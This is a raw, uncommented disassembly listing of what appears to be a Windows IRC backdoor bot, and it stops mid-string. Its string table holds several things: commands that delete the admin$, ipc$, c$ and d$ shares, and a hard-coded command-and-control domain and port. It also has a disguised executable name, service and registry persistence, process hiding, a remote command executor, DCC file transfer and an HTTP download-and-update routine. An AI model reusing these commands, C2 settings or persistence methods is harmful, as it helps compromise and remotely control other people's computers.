loc_43AB8B align 10h dword_440EB0 dd 19930520h, 4, 440ED0h, 5 dup(0) dd 0FFFFFFFFh, 43ABB0h, 0 dd offset loc_43ABBB dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0) dword_440EF8 dd 19930520h, 1, 440F18h, 5 dup(0) dd 0FFFFFFFFh, 43AC00h, 2 dup(0) dword_440F28 dd 19930520h, 2, 440F48h, 5 dup(0) dd 0FFFFFFFFh, 43AC20h, 0 dd offset loc_43AC2B align 10h dword_440F60 dd 19930520h, 1, 440F80h, 5 dup(0) dd 0FFFFFFFFh, 43AC50h, 2 dup(0) dword_440F90 dd 19930520h, 1, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 2 dup(0) dword_440FC0 dd 19930520h, 2, 440FE0h, 5 dup(0) dd 0FFFFFFFFh, 43AC90h, 0 dd offset loc_43AC9B dd 2 dup(0) dword_440FF8 dd 19930520h, 1, 441018h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 2 dup(0) dword_441028 dd 19930520h, 3, 441048h, 5 dup(0) dd 0FFFFFFFFh, 43ACE0h, 0 dd offset loc_43ACF7 dd 1, 43ACFFh, 2 dup(0) dword_441068 dd 19930520h, 1, 441088h, 5 dup(0) dd 0FFFFFFFFh, 43AD20h, 2 dup(0) dword_441098 dd 19930520h, 4, 4410B8h, 5 dup(0) dd 0FFFFFFFFh, 43AD48h, 0 dd offset sub_43AD40 dd 0 dd offset loc_43AD5F dd 2, 43AD67h, 2 dup(0) dword_4410E0 dd 19930520h, 6, 441100h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0FFFFFFFFh, 43AD98h, 0FFFFFFFFh dd 43ADA0h, 0FFFFFFFFh, 43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh dd 43ADB8h, 2 dup(0) dword_441138 dd 19930520h, 1Ah, 441158h, 5 dup(0) dd 0FFFFFFFFh, 43ADE0h, 0 dd offset loc_43ADEB dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0) dword_441240 dd 19930520h, 4, 441260h, 5 dup(0) dd 0FFFFFFFFh, 43AF70h, 0 dd offset loc_43AF78 dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0) dword_441288 dd 19930520h, 4, 4412A8h, 5 dup(0) dd 0FFFFFFFFh, 43AFB0h, 0 dd offset loc_43AFB8 dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0) dword_4412D0 dd 19930520h, 6, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 0 dd offset loc_43AFF8 dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0) dword_441328 dd 19930520h, 6, 441348h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B058 dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0) dword_441380 dd 19930520h, 6, 4413A0h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh dd 43B0C6h, 2, 43B0D1h, 3, 43B0DCh, 2, 43B0E7h, 2 dup(0) dword_4413D8 dd 19930520h, 3, 4413F8h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2 dup(0) dword_441418 dd 19930520h, 5, 441438h, 5 dup(0) dd 0FFFFFFFFh, 43B140h, 0FFFFFFFFh, 43B148h, 0FFFFFFFFh dd 43B150h, 0FFFFFFFFh, 43B158h, 0FFFFFFFFh, 43B160h, 2 dup(0) dword_441468 dd 19930520h, 0Ch, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B180h, 0 dd offset loc_43B188 dd 0FFFFFFFFh, 43B190h, 0FFFFFFFFh, 43B198h, 0FFFFFFFFh dd 43B1A0h, 0FFFFFFFFh, 43B1A8h, 5, 43B1B0h, 0FFFFFFFFh dd 43B1B8h, 0FFFFFFFFh, 43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh dd 43B1D0h, 0FFFFFFFFh, 43B1D8h, 4 dup(0) dword_4414F8 dd 19930520h, 2, 441518h, 1, 441528h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441540h, 4 dup(0) dd offset loc_41EE2C dd 2 dup(0) dword_441558 dd 19930520h, 0Ah, 441578h, 5 dup(0) dd 0FFFFFFFFh, 43B220h, 0 dd offset loc_43B22B dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0) dword_4415D8 dd 19930520h, 2, 4415F8h, 5 dup(0) dd 0FFFFFFFFh, 43B2C0h, 0 dd offset loc_43B2C8 align 10h dword_441610 dd 19930520h, 3, 441630h, 5 dup(0) dd 0FFFFFFFFh, 43B2E0h, 0FFFFFFFFh, 43B2EBh, 1, 43B2F6h dd 2 dup(0) dword_441650 dd 19930520h, 1, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B320h, 2 dup(0) dword_441680 dd 19930520h, 2, 4416A0h, 5 dup(0) dd 0FFFFFFFFh, 43B340h, 0 dd offset loc_43B34B dd 2 dup(0) dword_4416B8 dd 19930520h, 16h, 4416D8h, 5 dup(0) dd 0FFFFFFFFh, 43B370h, 0 dd offset loc_43B37B dd 0 dd offset loc_43B383 dd 0 dd offset loc_43B38B dd 3, 43B393h, 4, 43B39Bh, 0 dd offset loc_43B3A3 dd 6, 43B3ABh, 7, 43B3B3h, 0 dd offset loc_43B3BB dd 9, 43B3C3h, 0Ah, 43B3CBh, 0 dd offset loc_43B3D3 dd 0Ch, 43B3DBh, 0Dh, 43B3E3h, 0 dd offset loc_43B3EB dd 0Fh, 43B3F3h, 0 dd offset loc_43B3FB dd 11h, 43B403h, 0 dd offset loc_43B40B dd 13h, 43B413h, 13h, 43B41Bh, 6 dup(0) dword_4417A0 dd 19930520h, 1, 4417C0h, 5 dup(0) dd 0FFFFFFFFh, 43B460h, 2 dup(0) dword_4417D0 dd 19930520h, 1, 4417F0h, 5 dup(0) dd 0FFFFFFFFh, 43B490h, 2 dup(0) dword_441800 dd 19930520h, 5, 441820h, 5 dup(0) dd 0FFFFFFFFh, 43B4C0h, 0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh dd 43B4D0h, 0FFFFFFFFh, 43B4D8h, 0FFFFFFFFh, 43B4E0h, 2 dup(0) dword_441850 dd 19930520h, 0Bh, 441870h, 5 dup(0) dd 0FFFFFFFFh, 43B500h, 0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh dd 43B521h, 0FFFFFFFFh, 43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh dd 43B542h, 0FFFFFFFFh, 43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0) dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0) dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh dd 43B69Ch, 6 dup(0) dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0) dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0 dd offset loc_43B708 dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0) dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0 dd offset loc_43B758 dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0) dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0) dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0) dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0) dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0) dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0) dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0) dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0) dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0) dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0 dd offset loc_43B8A8 dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0 dd offset loc_43B908 dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0) dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0 dd offset loc_43B968 dd 1, 43B976h, 2 dup(0) dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0 dd offset loc_43B9AB dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0) dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0) dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0) dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0) dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0) dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441F68h, 4 dup(0) dd offset loc_42AF54 align 10h dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 441FC8h, 4 dup(0) dd offset loc_42B031 align 10h dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0 dd offset loc_43BBA8 dd 1, 43BBB0h, 2 dup(0) dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0) dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0) dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0) dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0) dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0) dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh dd 43BCA8h, 2 dup(0) dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0) dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0) dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0 dd offset loc_43BDEB align 10h dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0) dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0) dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0) dd offset aRrrrrrrrrrrrrr+1Fh dd 106h dup(0) aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G' ; DATA XREF: sub_4034E0+7Fo db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|' db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0 align 4 dd 8 dup(0) asc_4435EC: ; DATA XREF: sub_4034E0+66o ; sub_40FF60:loc_41083Eo ... unicode 0, <|>,0 aS db '%s',0 ; DATA XREF: sub_404C70+875o ; sub_404C70+AF1o ... align 4 aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_404C70+831o ; sub_404C70+B5Eo ... align 10h asc_443600: ; DATA XREF: sub_404640:loc_40471Fo ; sub_404640+1EDo ... unicode 0, < >,0 aO db ' -o',0 ; DATA XREF: sub_404640+75o ; sub_40FF60:loc_410949o ... aNetShareAdminD db 'net share admin$ /delete /y',0 dd 2 dup(0) aNetShareIpcDel db 'net share ipc$ /delete /y',0 align 4 dd 0 aNetShareDDelet db 'net share d$ /delete /y',0 align 8 aNetShareCDelet db 'net share c$ /delete /y',0 dd 0 dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ... aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o align 8 aN: ; DATA XREF: sub_404C70+D23o unicode 0, <N>,0 aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o align 4 aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo align 10h dd 0 aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o align 10h aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o align 10h dd 0 aOpen db 'open',0 ; DATA XREF: sub_404C70+447o ; sub_41C030+Eo align 4 aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o ; sub_404C70+9B1o ... align 4 dd 0 aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o align 10h aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti' ; DATA XREF: sub_406890+20Fo db 'me: %dd %dh %dm box: %s. user: %s.',0 dd 5 dup(0) aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o dd 0 a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo a2003 db '2003',0 ; DATA XREF: sub_406890+F4o align 10h aXp db 'XP',0 ; DATA XREF: sub_406890+EAo align 4 a2000 db '2000',0 ; DATA XREF: sub_406890+DEo align 4 aMe db 'ME',0 ; DATA XREF: sub_406890+C7o align 10h a98 db '98',0 ; DATA XREF: sub_406890+BBo align 4 aNt db 'NT',0 ; DATA XREF: sub_406890+AFo align 4 a95 db '95',0 ; DATA XREF: sub_406890+9Co align 4 aBai db '-bai',0 ; DATA XREF: ___:loc_406DEDo ; ___:00406E35o align 4 aNetsvcs db '-netsvcs',0 ; DATA XREF: ___:loc_406DB0o ; sub_40EC30+88o align 10h aUpdate db '-update',0 ; DATA XREF: ___:00406D73o dd 0 dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086D8o ... dword_4437F8 dd 40h ; sub_40FF60+7CCo ... aHotfix db 'hotfix',0 ; DATA XREF: sub_407790+394o align 4 aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+383o align 8 aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+372o align 4 aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+361o align 4 dd 0 aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+350o align 8 aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+342o align 10h aWintwir db 'wintwir',0 ; DATA XREF: sub_407790+331o dd 0 aMsnnmaneger_ex db 'msnnmaneger.exe',0 ; DATA XREF: sub_407790+320o align 10h aServec db 'servec',0 ; DATA XREF: sub_407790+30Fo align 4 aS_1 db '#s',0 ; DATA XREF: sub_407790+2FEo align 4 aScop db '#scop#',0 ; DATA XREF: sub_407790+2EDo align 4 aSaad db 'saad',0 ; DATA XREF: sub_407790+2A9o ; sub_407790+2DCo align 4 a7000 db '7000',0 ; DATA XREF: sub_407790+298o ; sub_407790+2CBo align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o ; sub_407790+2BAo align 10h off_4438C0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co align 8 a_?avexception@ db '.?AVexception@@',0 align 10h off_4438E0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h dd 2 dup(0) off_443908 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co align 10h a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409580+21o ; ___:0040A971o dd 2 dup(0) aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo ; sub_40B700+43o ... align 4 aF db '%f',0 ; DATA XREF: ___:0040B79Fo align 10h aFalse db 'false',0 ; DATA XREF: ___:0040B844o align 4 aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao align 10h dd 0 aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o align 10h aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o dd 0 aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o align 4 aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao align 4 dd 0 aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0 ; DATA XREF: sub_40C400+48Ao align 10h aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o align 10h aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o align 10h dword_443A30 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C400+296o dd 169h, 0 aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o align 4 dd 0 aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o align 8 aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo align 8 aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o align 8 aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o align 10h aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o dd 0 asc_443B04: ; DATA XREF: sub_40CBB0+113o ; sub_4200F0+100o unicode 0, <\>,0 aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o align 4 aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo align 10h aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o align 10h aBai_0 db ' -bai ',0 align 4 aSCS db '%s%c%s',0 align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o align 10h dd 0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o align 10h dd 0 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo align 10h aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o align 10h aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo align 4 dd 0 aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah db '%s',0Dh,'%s',0Dh,0Ah,0 align 4 dd 2 dup(0) aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao align 8 aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o ; sub_40EF90+Ao ... align 4 dd 0 aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o align 10h aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o align 10h dd 0 aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o align 8 aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo align 10h dd 0 asc_443C84 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo ; sub_40FF60+1118o ... align 4 asc_443C88: ; DATA XREF: sub_40FF60+CACo ; sub_40FF60+D15o ... unicode 0, <!>,0 aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o ; sub_40FF60:loc_410BB7o aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo ; sub_40FF60:loc_410B96o asc_443C94: ; DATA XREF: sub_40FF60+871o ; sub_40FF60:loc_410BD8o ... unicode 0, <:>,0 aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do ; sub_40FF60+732o ... align 8 aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o db '%s %s 0 0 :%s',0Dh,0Ah,0 align 10h dd 0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o ; sub_4126B0+91o ... dd 0 dword_443CD4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CE4 dd 0A0D7325h, 0 ; sub_42D1A0+71o dword_443CEC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo dword_443CFC dd 4255505Bh, 5D43494Ch, 0dword_443D08 dd 4952505Bh, 45544156h, 5Dhdword_443D14 dd 202Eh ; sub_4126B0+E5o dword_443D18 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o align 4 aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o align 10h aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao align 4 asc_443D34: ; DATA XREF: ___:loc_412E63o dw 3Ch unicode 0, <>,0 asc_443D38: ; DATA XREF: ___:loc_412E4Co dw 3Eh unicode 0, <>,0 asc_443D3C db '==',0 ; DATA XREF: ___:loc_412E35o align 10h asc_443D40 db '!=',0 ; DATA XREF: ___:00412E21o align 4 a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o align 4 aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o align 4 aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo align 4 aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o ; sub_4192C0+297o align 4 aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o align 10h aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o align 10h off_443D80 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o ; ___:0042B302o ... dword_443D84 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo dword_443D90 dd 652Dh dword_443D94 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o align 10h aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o align 4 aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo align 10h byte_443DD0 db 1 ; DATA XREF: sub_41A290r align 4 dword_443DD4 dd 2Eh ; ___:0041B235o ... dword_443DD8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 ; --------------------------------------------------------------------------- loc_443E24: ; DATA XREF: ___:00421759o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_443E38 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E4C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E84 dd 63257325h, 0 ; sub_41F860+E5o dword_443E8C dd 72h dword_443E90 dd 30h ; sub_424840+327o dword_443E94 dd 3039h dword_443E98 dd 383631h dword_443E9C dd 323931h dword_443EA0 dd 3631h dword_443EA4 dd 323731h dword_443EA8 dd 3031h off_443EAC dd offset dword_5C005C ; DATA XREF: ___:0041C117r ; ___:0041C287r word_443EB0 dw 0 ; DATA XREF: ___:0041C121r ; ___:0041C291r align 4 off_443EB4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r ; ___:0041C256r dword_443EB8 dd 430050h ; ___:0041C25Br dword_443EBC dd 24h ; ___:0041C27Fr dd 0 aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o align 4 aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo align 4 aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o align 8 asc_443EF8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo db 0Dh,0Ah,0 align 10h aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o align 10h aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o ; ___:0041FC87o align 4 aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo align 4 aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do db 'Connection: Keep-Alive',0Dh,0Ah db 'User-Agent: Mozilla/4.5',0Dh,0Ah db 'Host: %s:%d',0Dh,0Ah db 